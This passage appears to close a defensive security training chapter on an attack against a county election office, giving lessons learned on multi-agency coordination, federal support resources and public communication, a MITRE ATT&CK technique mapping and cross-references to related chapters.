Multi-agency coordination must be rehearsed, not improvised -- The election night response involved CCBE, county IT, CISA, FBI, state officials, and media. Without pre-established coordination protocols, the response was chaotic. Tabletop exercises with all stakeholders before each election are essential.
-
Under-resourced election offices need force multipliers -- A 3-person IT team cannot defend against a state-sponsored APT. Election authorities must leverage free federal resources: CISA vulnerability assessments, Albert sensors, Cloudflare Athenian Project, and EI-ISAC membership. These are force multipliers that close the resource gap.
-
Public communication during election incidents is as important as technical response -- The county's delayed and unclear communications allowed conspiracy theories to fill the information vacuum. Pre-drafted incident communication templates, trained spokespeople, and direct channels to media outlets should be prepared before every election.
MITRE ATT&CK Mapping¶
| Technique ID | Technique Name | Phase |
|---|---|---|
| T1595 | Active Scanning | Reconnaissance (infrastructure mapping) |
| T1592 | Gather Victim Host Information | Reconnaissance (web fingerprinting) |
| T1589 | Gather Victim Identity Information | Reconnaissance (staff OSINT) |
| T1190 | Exploit Public-Facing Application | Initial Access (SQL injection) |
| T1110.004 | Brute Force: Credential Stuffing | Initial Access (poll worker portal) |
| T1505.003 | Server Software Component: Web Shell | Persistence (ASPX web shell) |
| T1059.001 | Command and Scripting Interpreter: PowerShell | Execution (credential dumping) |
| T1053.005 | Scheduled Task/Job: Scheduled Task | Persistence (database trigger) |
| T1003.001 | OS Credential Dumping: LSASS Memory | Credential Access (mimikatz) |
| T1078 | Valid Accounts | Persistence (stolen poll worker credentials) |
| T1098 | Account Manipulation | Impact (poll worker reassignment) |
| T1565.001 | Data Manipulation: Stored Data | Impact (voter record + results modification) |
| T1498 | Network Denial of Service | Impact (election night DDoS) |
| T1491.002 | Defacement: External Defacement | Impact (voter portal defacement) |
Cross-References¶
- Chapter 9: Incident Response Lifecycle
- Chapter 29: Vulnerability Management
- Chapter 31: Network Security Architecture
- Chapter 38: Threat Hunting Advanced
- Chapter 27: Digital Forensics
- Chapter 20: Cloud Attack and Defense
- Chapter 24: Supply Chain Attacks
- Chapter 21: OT/ICS/SCADA Security
- SC-009: Cloud Account Takeover
- SC-026: Zero-Day Exploitation
- SC-100: Coordinated Multi-Vector Attack